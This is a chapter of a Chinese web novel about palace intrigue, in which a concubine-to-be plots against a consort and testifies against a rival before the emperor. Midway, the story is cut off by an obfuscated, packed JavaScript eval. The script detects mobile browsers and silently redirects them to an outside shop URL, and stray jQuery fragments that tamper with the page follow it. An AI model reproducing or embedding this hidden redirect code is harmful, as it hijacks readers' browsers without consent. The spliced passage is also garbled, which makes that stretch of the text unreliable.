第181章 红着脸、含着泪,求他帮忙

作品:《惨死认亲日,嫡女夺回凤命杀疯了

    彼时,姜绾心心如火烧,一路疾行,只想立刻冲回麟德殿,将那惊天的秘密告知母亲。


    然而当她气喘吁吁地赶至大殿侧门,向内望去时,脚步却猛地顿住了。


    她看见自己的母亲,正姿态卑微地跪在孟贵妃面前伺候。而孟贵妃脸色显见不虞,随手就将一柄小巧的玉勺拂落在地。


    梅柔卿依旧维持着那副顺从的姿态,徒手将那些碎玉一点点拾起。


    那画面,刺得姜绾心眼睛生疼。


    若放在从前,她或许只会觉得贵妃喜怒无常,不易讨好;


    但经过了方才在凝辉堂窗外偷听到的隐秘,姜绾心只觉一股邪火猛地窜上了心头!


    她不由想起了之前在碧云寺……


    那时她因心仪太子,每每见到地位尊崇、又与太子关系亲厚的表姐贵妃,是何等的曲意逢迎,百般讨好!


    现在想来,那时的孟贵妃,肚子里恐怕早已怀着太子的孽种!


    她是不是内心得意得很,冷眼看着自己像个跳梁小丑般,在她面前卑躬屈膝?


    姜绾心伸手轻抚上自己尚且平坦的小腹……现如今,她也怀了太子的骨肉!


    可贵妃呢?她敢将腹中孩儿真正的父亲公之于众吗?


    她当然不敢!


    一旦这个秘密泄露出去,等待她和孟家的,将是抄家灭族、万劫不复的滔天大祸!


    真是风水轮流转!


    有朝一日,竟也让她姜绾心拿捏到了这位贵妃娘娘天大的把柄!


    这滋味……当真是畅快!


    守在大殿侧门的侍卫,目光锐利朝姜绾心看来。


    两个侍卫自然是认得姜绾心的。


    经过了今晚麟德殿上那石破天惊的一幕,试问在场还有谁不知晓这位主动向太子献身、凭借身孕暂获名分的姜家二小姐?


    姜绾心却在对方目光扫过来的瞬间,匆匆转身,沿着来时的路快步离开了。


    母亲此刻正在贵妃面前忍辱负重,她若贸然出现,难保不会引起贵妃的怀疑。


    她现在有了孩子,行事必须谨慎,绝不能因一时冲动而坏了大事。


    姜绾心刚走出一段路,就听身后传来一道熟悉而焦急的呼唤:“心儿!”


    她蓦然回首,只见兄长姜珩正快步向她走来。


    此时的姜绾心尚且不知,就在她匆匆离开凝辉堂不久,太子便命拂云前去寻她,意图召她侍寝。


    紧接着,就发生了云昭和萧启目睹太子与宋白玉“亲密”的那一幕……


    而在她紧赶慢赶折返大殿的路上,觉得大殿憋闷无聊的玉珠公主,强行拉着姜珩偷溜了出来。


    姜绾心瞧见姜珩,满腹的委屈、惊惶,与刚刚滋生的那点隐秘畅快交织在一起,化作滚烫的泪水,瞬间盈满了眼眶。


    姜珩亦是眼眶泛红,几步冲到近前!


    看着她泪痕未干的小脸,他声音哽咽:“心儿……你受苦了。”


    他急切地追问,“妹妹此刻不是应该在凝辉堂陪伴太子殿下吗?怎的一个人深夜在此奔走,可是遇到了什么难事?”


    姜绾心摇了摇头,正想开口说些什么,就听一个带着异域腔调、满是兴味的声音自身后响起:


    “你们兄妹两个,感情可真好啊。”


    玉珠公主慢悠悠地跟了上来,双臂环胸,饶有兴致地打量着这对“兄妹”。


    她阅男无数,眼光毒辣,如何看不出,这姜珩瞧着姜绾心的眼神,炽热中带着痛楚,怜惜中藏着占有欲,半点也不清白!


    更有意思的是,这姜绾心似乎也并不排斥。


    那边才刚攀上太子,珠胎暗结,这边对着自家兄长,却是一副欲语还休的黏糊模样。


    这姜家……还真不是一般人能消受的地方。


    三人间的气氛正微妙着,却见许多贵女命妇,正陆续从麟德殿内走了出来,三两结伴,言笑晏晏地朝着太液池的方向走去。


    远远的,依稀能看见一脉流动的晶亮光华,在沉沉的夜色中格外显眼,似乎那边正在举办什么新的余兴节目。


    玉珠公主本就是出来寻乐子的,见有热闹可瞧,当即也顾不得这対奇怪的“兄妹”了,兴致勃勃地便随着人流赶了过去。


    姜珩见状,不由大大松了口气。


    这位番邦公主有多难缠,经过这一晚的“贴身陪伴”,他可是深有体会。


    眼见她终于被别的事物吸引离开,他忙转向姜绾心:“妹妹,时辰太晚了,我先送你回凝辉堂吧。”


    姜绾心轻轻颔首,心中却在飞速盘算着。


    她与姜珩并肩朝着凝辉堂的方向走去,一边抬起泪眼朦胧的美目,声音又轻又软,充满了依赖:“今夜,多亏了兄长在陛下面前为心儿说话……”


    姜珩神色一黯,停下脚步,语气里充满了自责与无奈:“我如今人微言轻,在陛下面前也说不上话,本也没能帮上你什么忙。


    但你是我看着长大的妹妹,我怎会认不出你?又怎能眼睁睁看你受委屈?”


    姜绾心看着他望着自己时,眼底那几乎要溢出来的浓烈情意与疼惜,心头不由微微一动。


    她顺势轻轻拉住姜珩的衣袖,娇声软语:“兄长,心儿虽然侥幸得以暂入东宫,得了个奉仪的名分,可到底位份低微,根基浅薄。


    在这**的后宫里,无异于无根的浮萍,朝不保夕。


    若是……若是心儿接下来遇到什么过不去的坎儿,走投无路之时……”


    姜珩闻言,胸口剧烈起伏,一股保护欲混合着长久压抑的情感汹涌而上!


    他几乎毫不犹豫地打断她,斩钉截铁地承诺道:


    “心儿放心!只要有兄长在一日,只要是你开口,无论是什么事,哪怕是刀山火海,兄长也一定会想尽办法,帮你到底!”


    他目光灼灼,语气坚定无比,似在许下重于泰山的誓言。


    然而,此时的姜珩绝对想不到,就在不久之后,姜绾心真的会红着脸、含着泪,羞怯而又绝望地来求他帮忙。


    而所求之事,足以让知晓内情者瞠目结舌,大呼荒唐!


    当兄妹二人磨磨蹭蹭地赶回凝辉堂时,却被眼前的景象惊得呆立当场——


    只见整个院落灯火通明,乌泱泱地围满了身着甲胄的大内侍卫,以及众多面色凝重的勋贵官员,气氛压抑得令人窒息。


    待他们奋力挤过人群,堪堪走到偏殿门边,恰好听到里面传来安王妃凄厉的指控,看到拂云跪在皇帝面前浑身颤抖的模样。


    电光火石间,姜绾心脑中念头飞转,意识到这是一个绝佳的机会!


    她当即把心一横,猛地拨开挡在前面的人,挤到人前,用一种带着哭腔的嗓音高声道:


    “陛下!妾身可以作证!今晚这一切,都是宋白玉的阴谋!是她居心叵测!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801895|187080||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这一声石破天惊的指证,如同在滚沸的油锅里泼进了一瓢冷水,瞬间让原本就混乱的场面炸开了锅!


    在场所有人的目光,齐刷刷地聚焦到了这位语出惊人的姜奉仪身上。


    此前一直冷眼旁观语的云昭,在看清姜绾心身影的瞬间,眸中便闪过一丝了然。


    她已猜到了姜绾心接下来想要做什么。


    姜绾心有些时候确实急躁,但她也没那么蠢。


    碧云寺佛诞日那天,她被突然暴起的南华郡主划破脸颊,之后又得宋白玉送上特制药膏……


    回到府中当晚,她身上就起了那等诡异的恶诅。


    如今听了安王妃指控,她心中怎会没有猜测?


    况且,就算不为旧怨,单只为了保全跟随太子殿下的荣华富贵,姜绾心也会毫不犹豫地挺身而出,将所有罪责推到宋白玉身上!


    不过,在云昭看来,这宋白玉与姜绾心,两个都不是什么好东西。


    她自然也乐得暂且清闲,稳坐钓鱼台,静观这场狗咬狗的好戏。


    姜绾心“噗通”一声跪倒在皇帝面前,未语泪先流:


    “陛下明鉴!妾今夜原本遵照旨意,在这偏殿等候太子殿下消息。谁知忽听门外传来一阵极其怪异动静!


    妾心中害怕,刚打开门查看,便眼前一黑,什么都不知道了……”


    说到此处,她恰到好处地哽咽了一下,楚楚可怜地继续道:


    “待妾身悠悠转醒,竟发现自己已然身在殿外的花丛之中!


    妾不明所以,但第一反应便是有歹人作祟,会对太子殿下不利!这才不顾自身狼狈,匆匆赶回。


    谁知刚到此处,便听闻殿下他竟然被宋姐姐……”


    云昭简直要听得笑出声。


    这个“被”字,用得可真是妙到毫巅!


    太子堂堂七尺男儿,竟能“被”宋白玉一个弱质女流如何?


    然而一旁的女官拂云却连声附和:“陛下!正是如此!


    我等都以为在偏殿的是殿下和姜奉仪,是以听到些动静,也不敢贸然打扰!


    实在不知这殿内之人,如何就变成了宋小姐!”


    且不论太子在此事中是否全然无辜,宋白玉身为宰相嫡女,不在麟德殿参与夜宴,也不在太液池旁散步赏荷,却悄无声息地出现在太子养病的凝辉堂偏殿——


    这本就是一件引人遐思的怪事。


    皇帝脸色沉凝如水,目光在几人身上缓缓扫过。


    他示意身旁的内侍取来一件外裳,给蜷缩在角落的宋白玉披上,这才沉声开口:


    “宋白玉,你告诉朕,你今夜,为何会出现在凝辉堂偏殿?”


    宋白玉如同惊弓之鸟,连连摇头:“她在说谎!陛下!姜绾心在说谎!我根本没有打晕她!


    我会出现在这里,实在是因为……是因为……”


    宋白玉似有难言之隐,几次想要辩解,却又一时语塞,仿佛不知该如何说起。只用一双含泪的明眸,睇向以维护姿态站在云昭身畔的秦王。


    萧启却被这眼神恶心坏了。


    他侧过肩,往云昭身后站了站,那仍是个将人圈在怀中的维护姿势,只是瞧着倒隐有几分撒娇的意思。


    宋白玉将萧启的动作看得清清楚楚,眼睛当即红了。


    可想到自己此刻处境,分明已配不上爱慕多年的男子,不由当场淌下两行清泪。